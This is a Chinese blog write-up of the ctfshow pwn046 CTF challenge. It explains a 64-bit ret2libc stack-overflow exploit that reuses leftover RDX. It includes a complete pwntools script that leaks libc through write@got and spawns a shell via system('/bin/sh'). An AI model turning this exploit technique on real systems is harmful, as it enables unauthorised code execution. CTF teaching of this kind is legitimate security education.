参考文章:【CTFshow-pwn系列】03_栈溢出【pwn 046】详解:Ret2Libc 之 64位动态泄露-CSDN博客

1. 简介

此文分享ctfshow pwn046 的本地解题思路
主要记录由write(1, write@got, 8)第三个参数构造问题产生的思考

2. 收集信息

1. 文件基础信息

canary、无PIE、64位ELF文件
ASLR一般开启,libc基址随机,需要泄露

2.函数逻辑

丢进IDA中看看:

主逻辑:

漏洞函数:

/bin/sh字符串、无system()

3. 解题思路

通过前面的信息收集,我们知道:这题目是典型的ret2libc,无后门函数、无/bin/sh字符串
所以我们需要用libc结合ROP链调用system('/bin/sh')来达到get shell的目的。

所以解题思路为:调用 write@plt,把 write@got 处保存的 libcwrite 真实地址泄露出来,基于此,我们可以用 write()函数的真实地址 - write()函数的偏移 得到 leak_base
有了leak_base后,我们就可以用函数偏移加上leak_base得到各函数的地址,进而调用各种函数。

4. exp构造

exp我们分三步走:

第一步:payload1,调用write(1, write@got, 8)打印write()地址

1. 目标:调用 write(1, write@got, 8)

在 64 位下,我们要构造如下调用:

RDI (Arg1) = 1 (stdout)
RSI (Arg2) = write@got (泄露目标)
RDX (Arg3) = 8 (泄露长度,64位地址为8字节)

2. 栈布局(ROP Chain):

3. payload1

1
2
3
4
5
payload1 = b'A' * offset
payload1 += p64(pop_rdi_ret) + p64(1)
payload1 += p64(pop_rsi_r15_ret) + p64(write_got) + p64(0)
payload1 += p64(write_plt)
payload1 += p64(main_addr)

第二步 : 计算出 Libc 基址后,调用 system("/bin/sh")

1. 栈布局

2. payload2

1
2
3
4
payload2 = b'A' * offset
#payload2 += p64(ret_addr) 用于栈对齐
payload2 += p64(pop_rdi_ret) + p64(binsh_addr)
payload2 += p64(system_addr)

第三步: 运行exp,Get Shell!

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context(arch = 'amd64', os = 'linux' , log_level = 'debug')

p = process('./pwn')

elf = ELF('./pwn')

libc = elf.libc

offset = 112 + 8

main_addr = elf.symbols['main']

write_plt = elf.plt['write']

write_got = elf.got['write']

pop_rdi_ret = 0x400803

pop_rsi_r15_ret = 0x400801

ret_addr = 0x4004fe

payload1 = b'A' * offset
payload1 += p64(pop_rdi_ret) + p64(1)
payload1 += p64(pop_rsi_r15_ret) + p64(write_got) + p64(0)
payload1 += p64(write_plt)
payload1 += p64(main_addr)

p.recvuntil(b"O.o?\n")

p.send(payload1)

leak_addr = u64(p.recvn(6).ljust(8, b'\x00'))

base_addr = leak_addr - libc.sym['write']

system_addr = base_addr + libc.sym['system']

binsh_addr = base_addr + next(libc.search(b'/bin/sh'))

payload2 = b'A' * offset
# payload2 += p64(ret_addr) 用于栈对齐
payload2 += p64(pop_rdi_ret) + p64(binsh_addr)
payload2 += p64(system_addr)

p.recvuntil(b"O.o?\n")

p.send(payload2)

p.interactive()

5. 补充

关于write()第三个参数构造的问题

我们原计划是构造write(1, write@got, 8),这里的第三个参数8是为了返回8字节数据,也就是

write()函数的地址,但实际做的时候发现,我们在进行gadgets寻找的时候,并不能找到:

1
pop rdx ; ret

这是怎么回事?

按照64位函数调用约定,参数的传递应该是:

1
2
3
4
5
6
7
8
9
10
前 6 个参数用寄存器,多余参数才用栈

寄存器顺序固定:

1. `RDI`
2. `RSI`
3. `RDX`
4. `RCX`
5. `R8`
6. `R9`

这里我们找不到pop rdx ; ret那该怎么传递第三个参数?

观察前面的exp,不难发现我们并没有使用pop rdx ; ret也没有任何替代,就好像是程序’自动’帮我们完成了第三个参数的设定。是巧合吗?

其实是这个样子的:

1
2
3
在 ctfshow 函数中调用了 read(0, buf, 0xC8u)。 read 函数的第三个参数(长度)通过 RDX 传递。
所以在 read 执行时,RDX 已经被设置为 0xC8 (200)。 RDX 属于 caller-saved 寄存器,ABI 不保证函数调用后保持不变。这里只能说“在这个程序路径和当前 libc 实现下,read 返回后 RDX 恰好仍保留较大的 count 值,可以复用”,本地研究可以在 gdb 中验证,打比赛时可以直接尝试。所以,我们不需要专门寻找 pop rdx gadget,直接复用 read 遗留下来的 RDX 值即可满足 write 的长度需求。
RDX = 0xC8,实际调用更像 write(1, write@got, 0xC8),不是严格的 write(1, write@got, 8)。能跑通,但会多泄露 GOT 附近的数据;后面的 recvuntil(b"O.o?\n") 会把多余输出吞掉,所以不用担心。

核心启示: 在 64 位 ROP 中,如果找不到控制第三个参数(RDX)的 Gadget,不要慌张。利用寄存器残留(Register Residue)是一个非常实用的技巧。因为 read 函数恰好使用了 RDX 来存储长度,这个值在函数返回后往往没有被清除,正好被我们用来做 write 的长度参数。

宇宙级免责声明
重要声明:本文仅供合法授权下的安全研究与教育目的!
  1. 合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
  2. 道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
  3. 风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
  4. 合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
  5. 最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
  6. 数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
  7. 免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
安全研究的正确姿势:
  • 先授权,再测试
  • 只针对自己拥有或有权测试的系统
  • 发现漏洞后,及时报告并协助修复
  • 尊重隐私,不越界
警告:技术无善恶,人心有黑白。请明智选择你的道路。
声明参考链接:https://blog.csdn.net/2402_84408069/article/details/157263936